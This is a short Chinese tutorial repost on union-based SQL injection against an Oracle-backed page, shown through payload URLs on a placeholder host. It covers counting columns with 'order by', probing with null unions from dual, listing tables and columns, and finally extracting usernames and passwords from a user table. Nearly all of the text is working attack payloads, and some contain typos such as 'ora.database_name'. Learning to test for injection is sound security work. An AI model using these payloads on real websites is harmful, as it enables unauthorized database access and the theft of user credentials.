大佬教程收集整理的这篇文章主要介绍了基于Oracle网站的SQL注入,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
www.vuln-web.com/photo.php?id=1' order by 1--
Working
www.vuln-web.com/photo.php?id=1' order by 10--
www.vuln-web.com/photo.php?id=1' order by 7--
Working
www.vuln-web.com/photo.php?id=1' order by 9--
Working
可以得知第9列是最后一列
Oracle不允许没有 from 子句的 SELEct 语句,有时候我们确实不知道当前的数据库表是哪个的话,OracLE提供了一个虚表dual,换句话说:在不知道当前的数据库表的情况下使用SELEct查询语句时,可以使用虚表dual。
在真实的注入环境中一般是无法知道后台的数据库表的数据类型的,这时候就可以使用Null关键字挨个判断每个数据是字符还是数字类型。
www.vuln-web.com/photo.php?id=1' union SELEct null,null,null,null,null,null,null,null,null from dual--
Working fine
www.vuln-web.com/photo.php?id=1' union SELEct null,ora.database_name,null,null,null,null,null,null,null from dual--
(从 dual 中选择 ora_database_name) (从 dual 中选择 sys.database_name) (从global_name 中选择 global_name )
www.vuln-web.com/photo.php?id=1' union SELEct null,table_name,null,null,null,null,null,null,null from all_tables--
www.vuln-web.com/photo.php?id=1' union SELEct null,column_name,null,null,null,null,null,null,null from all_tab_columns where table_name='user_table'--
www.vuln-web.com/photo.php?id=1' union SELEct null,username||password,null,null,null,null,null,null,null from user_table--
以上是大佬教程为你收集整理的基于Oracle网站的SQL注入全部内容,希望文章能够帮你解决基于Oracle网站的SQL注入所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。